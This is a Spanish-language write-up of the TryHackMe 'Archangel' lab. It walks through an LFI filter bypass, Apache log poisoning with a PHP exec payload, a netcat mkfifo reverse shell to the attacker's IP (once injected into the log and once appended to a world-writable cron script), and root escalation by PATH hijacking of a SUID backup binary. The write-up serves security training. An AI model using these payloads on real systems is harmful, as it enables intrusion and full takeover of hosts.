This page looks best with JavaScript enabled

TryHackMe - Archangel

 •  ✍️ sckull

Archangel es una maquina de TryHackMe, presenta una vulnerabilidad LFI y mediante envenenamiento de log obtuvimos acceso a la maquina. Modificamos un script que es ejecutado por un cron para realizar movimiento lateral. Finalmente un archivo con permisos SUID y la lectura de su codigo fuente permitió que ejecutaramos bash como root.

Room

Titulo Archangel box_img_maker
Descripción Boot2root, Web exploitation, Privilege escalation, LFI
Puntos 210
Dificultad Facil
Maker

Archangel

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Nmap 7.80 scan initiated Thu Feb  4 19:10:33 2021 as: nmap --min-rate 1000 -p- -T4 -oN portScan archangel.thm
Warning: 10.10.84.37 giving up on port because retransmission cap hit (6).
Nmap scan report for archangel.thm (10.10.84.37)
Host is up (0.31s latency).
Not shown: 64873 closed ports, 660 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Thu Feb  4 19:12:40 2021 -- 1 IP address (1 host up) scanned in 126.26 seconds

# Nmap 7.80 scan initiated Thu Feb  4 19:13:30 2021 as: nmap -p22,80 -sV -sC -oN serviceScan -Pn archangel.thm
Nmap scan report for archangel.thm (10.10.84.37)
Host is up (0.34s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
|   256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_  256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb  4 19:14:04 2021 -- 1 IP address (1 host up) scanned in 34.20 seconds

HTTP

Encontramos una pagina web en el puerto 80 y nuevo dominio.

En el dominio encontrado vemos nuestra primera flag.

RUSTBUSTER

Utilizamos rustbuster para busqueda de directorios y archivos en el dominio encontrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~

         _     _                 _         _           _        _                 _         _           _           _     
        /\ \  /\_\              / /\      /\ \        / /\     /\_\              / /\      /\ \        /\ \        /\ \   
       /  \ \/ / /         _   / /  \     \_\ \      / /  \   / / /         _   / /  \     \_\ \      /  \ \      /  \ \  
      / /\ \ \ \ \__      /\_\/ / /\ \__  /\__ \    / / /\ \  \ \ \__      /\_\/ / /\ \__  /\__ \    / /\ \ \    / /\ \ \ 
     / / /\ \_\ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \ \  \ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \_\  / / /\ \_\
    / / /_/ / /\__  /   / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \  \__  /   / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
   / / /__\/ / / / /   / / /  \ \ \    / / /  \/_/ / /\ \ \___\ / / /   / / /  \ \ \    / / /  \/_/ /____/\   / / /__\/ / 
  / / /_____/ / / /   / / _    \ \ \  / / /     / / /  \ \ \__// / /   / / _    \ \ \  / / /     / /\____\/  / / /_____/  
 / / /\ \ \  / / /___/ / /_/\__/ / / / / /     / / /____\_\ \ / / /___/ / /_/\__/ / / / / /     / / /______ / / /\ \ \    
/ / /  \ \ \/ / /____\/ /\ \/___/ / /_/ /     / / /__________/ / /____\/ /\ \/___/ / /_/ /     / / /_______/ / /  \ \ \   
\/_/    \_\/\/_________/  \_____\/  \_\/      \/_____________\/_________/  \_____\/  \_\/      \/__________\/_/    \_\/   


[?] Started at	: 2021-02-04 19:17:52

GET	403 Forbidden			http://mafialive.thm/.php
GET     200 OK                          http://mafialive.thm/
GET     200 OK                          http://mafialive.thm/index.html
GET     200 OK                          http://mafialive.thm/robots.txt
GET     403 Forbidden                   http://mafialive.thm/server-status
GET     200 OK                          http://mafialive.thm/test.php

[?] Ended at: 2021-02-04 19:23:171

LFI - WWW-DATA (USER)

En la pagina test.php vemos que existe una vulnerabilidad LFI ya que se le esta pasando al parametro view la direccion completa del archivo a mostrar en la pagina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        Control is an illusion    </div>
</body>

</html>

Utilizamos un filtro de PHP para leer y codificar en base64 el archivo test.php con lo que obtuvimos el codigo fuente codificado y al decodificarlo encontramos nuestra segunda flag. Vemos en el codigo que el parametro que se le pase a view debe de tener el string /var/www/html/development_testing y este no debe de contener ../.. por lo que no podriamos leer algun archivo en otra direccion y es necesario buscar y realizar bypas a esta condicional. Para poder hacer un “bypass” a esta pequeña condicional se incluye la direccion /var/www/html/development_testing dentro de un filtro lo cual nos permitiria leer cualquier archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
[... REDACTED ...]	
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php

//FLAG: thm{[... REDACTED ...]}

    function containsStr($str, $substr) {
        return strpos($str, $substr) !== false;
    }
if(isset($_GET["view"])){
    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
        	include $_GET['view'];
        }else{

	echo 'Sorry, Thats not allowed';
        }
}	
?>
[... REDACTED ...]

El filtro quedaria de la siguiente forma php://filter//var/www/html/development_testing/resource=/etc/passwd lo cual nos permite leer el archivo /etc/passwd.

Logramos tambien leer nuestra flag user.txt.

Realizamos una enumeracion de archivos pero no encontramos alguna contraseña, verificamos que tuvieramos acceso a los logs de acceso de apache (/var/log/apache2/acess.log) logramos leer dicho archivo.

1
10.2.29.162 - - [05/Feb/2021:08:07:19 +0530] "GET /robots.txt HTTP/1.1" 404 455 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" 10.2.29.162 - - [05/Feb/2021:08:07:22 +0530] "GET /test.php?view=/var/www/html/development_testing/../../../../../../log/apache2/access.log HTTP/1.1" 200 559 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" 10.2.29.162 - - [05/Feb/2021:08:07:38 +0530] "GET /test.php?view=/var/www/html/development_testing/..///////..////..//////..///////..////..///////var/log/apache2/access.log HTTP/1.1" 200 606 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

Ya que tenemos acceso a este archivo podemos verificar que sea posible ejecutar codigo para ello realizamos una prueba con phpinfo() enviandolo a travez de una solicitud GET, al revisar el archivo access.log logramos ver que se ejecuto dicha funcion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
kali@kali:~/thm/archangel$ nc mafialive.thm 80
GET /<?php phpinfo(); ?>
HTTP/1.1 400 Bad Request
Date: Fri, 05 Feb 2021 00:54:45 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at localhost Port 80</address>
</body></html>

Sabiendo esto podemos realizar Log Poisoning enviando codigo php para ejecucion de comandos en una peticion GET y al realizar la lectura del log el codigo se ejecutaría. Existen varias formas de ejecutar comandos se muestra: link se muestra <?php system($_GET['cmd']); > aunque es necesario pasar el comando en el parametro cmd al realizar la lectura. Al intentar con varias funciones solo una funcionó, exec ya que las demás no dejaban que realizaramos la lectura del archivo access.log. El codigo enviado fue el siguiente: <?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1338 >/tmp/f') ?> con el cual logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
kali@kali:~/thm/archangel$ nc mafialive.thm 80
GET /<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.29.162 1338 >/tmp/f') ?>
HTTP/1.1 400 Bad Request
Date: Fri, 05 Feb 2021 02:53:46 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at localhost Port 80</address>
</body></html>

ARCHANGEL - USER

Realizamos una enumeracion en la maquina y encontramos en el archivo crontab un script el cual es ejecutado por archangel, dicho archivo tiene permisos de escritura, lectura y ejecucion para todos los usuarios y se ejecuta cada minuto. Agregamos una shell inversa al script y logramos obtener una shell con este usuario y nuestra segunda flag user2.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
www-data@ubuntu:/$ cat /etc/crontab
[... REDACTED ...]

# m h dom mon dow user	command
*/1 *   * * *   archangel /opt/helloworld.sh
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
www-data@ubuntu:/$ cat /opt/helloworld.sh
cat /opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
www-data@ubuntu:/$ ls -lah /opt/helloworld.sh
ls -lah /opt/helloworld.sh
-rwxrwxrwx 1 archangel archangel 66 Nov 20 10:35 /opt/helloworld.sh
www-data@ubuntu:/$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.29.162 1339 >/tmp/f' >> /opt/helloworld.sh
<|nc 10.2.29.162 1339 >/tmp/f' >> /opt/helloworld.sh
www-data@ubuntu:/$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
archangel@ubuntu:~$ ls -lah
ls -lah
total 48K
drwxr-xr-x 7 archangel archangel 4.0K Feb  5 08:38 .
drwxr-xr-x 3 root      root      4.0K Nov 18 13:06 ..
-rw-r--r-- 1 archangel archangel  220 Nov 18 00:48 .bash_logout
-rw-r--r-- 1 archangel archangel 3.7K Nov 18 00:48 .bashrc
drwx------ 2 archangel archangel 4.0K Nov 18 13:08 .cache
drwxrwxr-x 3 archangel archangel 4.0K Nov 18 11:20 .local
drwxr-xr-x 2 archangel archangel 4.0K Nov 18 01:36 myfiles
-rw-r--r-- 1 archangel archangel  807 Nov 18 00:48 .profile
drwxrwx--- 2 archangel archangel 4.0K Nov 19 20:41 secret
-rw-rw-r-- 1 archangel archangel   66 Nov 18 11:20 .selected_editor
drwx------ 2 archangel archangel 4.0K Feb  5 08:39 .ssh
-rw-r--r-- 1 archangel archangel   26 Nov 19 19:57 user.txt
archangel@ubuntu:~$ cd secret
cd secret
archangel@ubuntu:~/secret$ ls -lah
ls -lah
total 32K
drwxrwx--- 2 archangel archangel 4.0K Nov 19 20:41 .
drwxr-xr-x 7 archangel archangel 4.0K Feb  5 08:38 ..
-rwsr-xr-x 1 root      root       17K Nov 18 16:40 backup
-rw-r--r-- 1 root      root        49 Nov 19 20:41 user2.txt
archangel@ubuntu:~/secret$ cat user2.txt
cat user2.txt
thm{[... REDACTED ...]}
archangel@ubuntu:~/secret$

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion en busqueda de ejecutables con permisos SUID, logramos encontrar un archivo (backup) el cual realiza una copia de todos los archivos de la carpeta myfiles hacia /opt/backupfiles, lo que no se toma en cuenta en el codigo es la direccion completa de cp, por lo que podriamos modificar la variable $PATH para que tome otro ejecutable llamado cp antes que el original (/bin/cp).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
archangel@ubuntu:~/secret$ find / -perm -4000 2>/dev/null |xargs ls -lah
-rwsr-xr-x 1 root root        31K Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root root        43K Sep 17 00:13 /bin/mount
-rwsr-xr-x 1 root root        63K Jun 28  2019 /bin/ping
-rwsr-xr-x 1 root root        44K Mar 23  2019 /bin/su
-rwsr-xr-x 1 root root        27K Sep 17 00:13 /bin/umount
-rwsr-xr-x 1 root root        17K Nov 18 16:40 /home/archangel/secret/backup
-rwsr-xr-x 1 root root        75K Mar 23  2019 /usr/bin/chfn
-rwsr-xr-x 1 root root        44K Mar 23  2019 /usr/bin/chsh
-rwsr-xr-x 1 root root        75K Mar 23  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root        40K Mar 23  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root        59K Mar 23  2019 /usr/bin/passwd
-rwsr-xr-x 1 root root       146K Sep 23 20:29 /usr/bin/sudo
-rwsr-xr-x 1 root root        19K Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-- 1 root messagebus  42K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root        10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root       427K Mar  4  2019 /usr/lib/openssh/ssh-keysign
archangel@ubuntu:~/secret$ which cp
which cp
/bin/cp
archangel@ubuntu:~/secret$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
archangel@ubuntu:~/secret$
1
2
3
4
5
6
7
8
undefined8 main(void)

{
  setuid(0);
  setgid(0);
  system("cp /home/user/archangel/myfiles/* /opt/backupfiles");
  return 0;
}

Creamos un script para que ejecute bash con el nombre cp y le damos permisos de ejecucion, tambien agregamos al inicio la direccion /home/archangel/secret a la variable PATH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
archangel@ubuntu:~/secret$ echo "/bin/bash" > cp
echo "/bin/bash" > cp
archangel@ubuntu:~/secret$ chmod +x cp
chmod +x cp
archangel@ubuntu:~/secret$ export PATH=/home/archangel/secret/:$PATH
export PATH=/home/archangel/secret/:$PATH
archangel@ubuntu:~/secret$ echo $PATH
echo $PATH
/home/archangel/secret/:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
archangel@ubuntu:~/secret$

Ejecutamos el archivo /home/archangel/secret/backup, logramos obtener una shell con usuario root y la flag root.txt.

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe